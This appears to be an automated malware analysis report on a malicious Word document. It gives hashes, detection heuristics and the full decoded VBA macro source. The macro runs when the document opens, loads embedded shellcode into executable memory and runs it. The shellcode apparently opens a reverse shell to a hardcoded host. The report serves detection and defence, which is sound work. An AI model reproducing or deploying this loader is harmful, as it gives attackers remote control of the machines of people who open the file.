Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dfc1f0eb43631662…

MALICIOUS

Office (OLE)

36.0 KB Created: 2019-08-06 06:46:00 Authoring application: Microsoft Office Word First seen: 2020-05-14
MD5: dce7bd0ed581233f2dfd1e94755bb161 SHA-1: 6ee43521544f00fa0a8eacb977b159e87fed3d6b SHA-256: dfc1f0eb43631662b45b2a1b58a889e70fcb61887efc7c3afe263a59f91147cb
266 Risk Score

Heuristics 10

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • Raw OLE macro native-memory callback shellcode loader critical OLE_RAW_MACRO_NATIVE_MEMORY_CALLBACK_LOADER
    Raw OLE/VBA project text contains an auto-exec entry plus native memory allocation, process-memory write/copy, and callback/timer execution APIs. This catches source-stomped or partially recovered VBA loaders where the extracted macro source omits the auto-run entry, but the compiled/source project bytes still expose the in-memory shellcode loader triad.
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA native-memory callback shellcode loader critical OLE_VBA_NATIVE_MEMORY_CALLBACK_LOADER
    VBA auto-exec macro declares or calls native memory allocation, process-memory write/copy, and callback/timer execution APIs. This is the in-memory shellcode loader pattern: allocate writable memory, copy decoded payload bytes into it, then transfer control through a callback such as CreateTimerQueueTimer. Benign document automation does not combine these primitives.
    Matched line in script
    Private Declare PtrSafe Function txuhmccs Lib "kernel32" Alias "VirtualAlloc" (ByVal cjraptwb As Long, ByVal hrimjypmclip As Long, ByVal zohbcueyizpeqcb As Long, ByVal swflwkeqxqec As Long) As LongPtr
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5189 bytes
SHA-256: bfd7d2014016d54ce5f6de2213b82a5c03c93b736c6c19c3ad31c0d3fefce8cb
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const huetqhroov = 2
Const mtmkafjddj = 1
Const lvxseakdxo = 0
#If VBA7 Then
Private Declare PtrSafe Function wwzrlmadi Lib "kernel32" Alias "CreateThread" (ByVal gdaqenfaxdwrgxhgzqn As Long, ByVal caeocartdaibiopzrg As Long, ByVal lsjwvpwajjoquiyjbyn As LongPtr, qejdnxkcam As Long, ByVal psqcvamwmi As Long, boysizrzobrmo As Long) As LongPtr
Private Declare PtrSafe Function txuhmccs Lib "kernel32" Alias "VirtualAlloc" (ByVal cjraptwb As Long, ByVal hrimjypmclip As Long, ByVal zohbcueyizpeqcb As Long, ByVal swflwkeqxqec As Long) As LongPtr
Private Declare PtrSafe Function bjvgrhiewm Lib "kernel32" Alias "RtlMoveMemory" (ByVal ogtefolt As LongPtr, ByRef xiplmwhcj As Any, ByVal kzflxfvbpu As Long) As LongPtr
#Else
Private Declare Function wwzrlmadi Lib "kernel32" Alias "CreateThread" (ByVal gdaqenfaxdwrgxhgzqn As Long, ByVal caeocartdaibiopzrg As Long, ByVal lsjwvpwajjoquiyjbyn As Long, qejdnxkcam As Long, ByVal psqcvamwmi As Long, boysizrzobrmo As Long) As Long
Private Declare Function txuhmccs Lib "kernel32" Alias "VirtualAlloc" (ByVal cjraptwb As Long, ByVal hrimjypmclip As Long, ByVal zohbcueyizpeqcb As Long, ByVal swflwkeqxqec As Long) As Long
Private Declare Function bjvgrhiewm Lib "kernel32" Alias "RtlMoveMemory" (ByVal ogtefolt As Long, ByRef xiplmwhcj As Any, ByVal kzflxfvbpu As Long) As Long
#End If
Sub Auto_Open()
Dim phnmxnavg As Long, cerpoctqbm As Variant, bsvsoshsjhddjg As Long
#If VBA7 Then
Dim zhiklhwoetyy As LongPtr, uemtlcqzkkhjdmccukho As LongPtr
#Else
Dim zhiklhwoetyy As Long, uemtlcqzkkhjdmccukho As Long
#End If
cerpoctqbm = Array(72, 131, 228, 240, 232, 204, lvxseakdxo, 0, lvxseakdxo, 65, 81, 65, 80, 82, 81, 86, 72, 49, 210, 101, 72, 139, 82, 96, 72, 139, 82, 24, 72, 139, 82, 32, 72, 139, 114, 80, 72, 15, 183, 74, 74, 77, 49, 201, 72, 49, 192, 172, 60, 97, 124, huetqhroov, 44, 32, 65, 193, 201, 13, 65, mtmkafjddj, 193, 226, 237, 82, 65, 81, 72, 139, 82, 32, 139, 66, 60, 72, mtmkafjddj, 208, 102, 129, 120, 24, _
11, huetqhroov, 15, 133, 114, lvxseakdxo, 0, lvxseakdxo, 139, 128, 136, lvxseakdxo, 0, lvxseakdxo, 72, 133, 192, 116, 103, 72, mtmkafjddj, 208, 80, 139, 72, 24, 68, 139, 64, 32, 73, mtmkafjddj, 208, 227, 86, 72, 255, 201, 65, 139, 52, 136, 72, mtmkafjddj, 214, 77, 49, 201, 72, 49, 192, 172, 65, 193, 201, 13, 65, mtmkafjddj, 193, 56, 224, 117, 241, 76, 3, 76, 36, 8, 69, 57, 209, 117, 216, 88, 68, 139, 64, 36, 73, mtmkafjddj, _
208, 102, 65, 139, 12, 72, 68, 139, 64, 28, 73, mtmkafjddj, 208, 65, 139, 4, 136, 72, mtmkafjddj, 208, 65, 88, 65, 88, 94, 89, 90, 65, 88, 65, 89, 65, 90, 72, 131, 236, 32, 65, 82, 255, 224, 88, 65, 89, 90, 72, 139, 18, 233, 75, 255, 255, 255, 93, 73, 190, 119, 115, 50, 95, 51, 50, lvxseakdxo, 0, 65, 86, 73, 137, 230, 72, 129, 236, 160, mtmkafjddj, lvxseakdxo, 0, 73, 137, 229, 73, _
188, huetqhroov, lvxseakdxo, 17, 92, 10, 140, 58, 160, 65, 84, 73, 137, 228, 76, 137, 241, 65, 186, 76, 119, 38, 7, 255, 213, 76, 137, 234, 104, mtmkafjddj, 1, lvxseakdxo, 0, 89, 65, 186, 41, 128, 107, lvxseakdxo, 255, 213, 106, 10, 65, 94, 80, 80, 77, 49, 201, 77, 49, 192, 72, 255, 192, 72, 137, 194, 72, 255, 192, 72, 137, 193, 65, 186, 234, 15, 223, 224, 255, 213, 72, 137, 199, 106, 16, 65, _
88, 76, 137, 226, 72, 137, 249, 65, 186, 153, 165, 116, 97, 255, 213, 133, 192, 116, 10, 73, 255, 206, 117, 229, 232, 147, lvxseakdxo, 0, lvxseakdxo, 72, 131, 236, 16, 72, 137, 226, 77, 49, 201, 106, 4, 65, 88, 72, 137, 249, 65, 186, huetqhroov, 217, 200, 95, 255, 213, 131, 248, lvxseakdxo, 126, 85, 72, 131, 196, 32, 94, 137, 246, 106, 64, 65, 89, 104, lvxseakdxo, 16, lvxseakdxo, 0, 65, 88, 72, 137, 242, _
72, 49, 201, 65, 186, 88, 164, 83, 229, 255, 213, 72, 137, 195, 73, 137, 199, 77, 49, 201, 73, 137, 240, 72, 137, 218, 72, 137, 249, 65, 186, huetqhroov, 217, 200, 95, 255, 213, 131, 248, lvxseakdxo, 125, 40, 88, 65, 87, 89, 104, lvxseakdxo, 64, lvxseakdxo, 0, 65, 88, 106, lvxseakdxo, 90, 65, 186, 11, 47, 15, 48, 255, 213, 87, 89, 65, 186, 117, 110, 77, 97, 255, 213, 73, 255, 206, 233, 60, 255, _
255, 255, 72, mtmkafjddj, 195, 72, 41, 198, 72, 133, 246, 117, 180, 65, 255, 231, 88, 106, lvxseakdxo, 89, 73, 199, 194, 240, 181, 162, 86, 255, 213)
zhiklhwoetyy = txuhmccs(lvxseakdxo, UBound(cerpoctqbm), &H1000, &H40)
For bsvsoshsjhddjg = LBound(cerpoctqbm) To UBound(cerpoctqbm)
phnmxnavg = cerpoctqbm(bsvsoshsjhddjg)
uemtlcqzkkhjdmccukho = bjvgrhiewm(zhiklhwoetyy + bsvsoshsjhddjg, phnmxnavg, mtmkafjddj)
Next bsvsoshsjhddjg
uemtlcqzkkhjdmccukho = wwzrlmadi(lvxseakdxo, lvxseakdxo, zhiklhwoetyy, lvxseakdxo, 0, lvxseakdxo)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
Private Function niuupmsvtalx(ByVal ebycifoeegkw As String) As String
Dim pybodqivhpmj As Long
For pybodqivhpmj = 1 To Len(ebycifoeegkw) Step 2
niuupmsvtalx = niuupmsvtalx & Chr$(Val("&H" & Mid$(ebycifoeegkw, pybodqivhpmj, 2)))
Next pybodqivhpmj
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.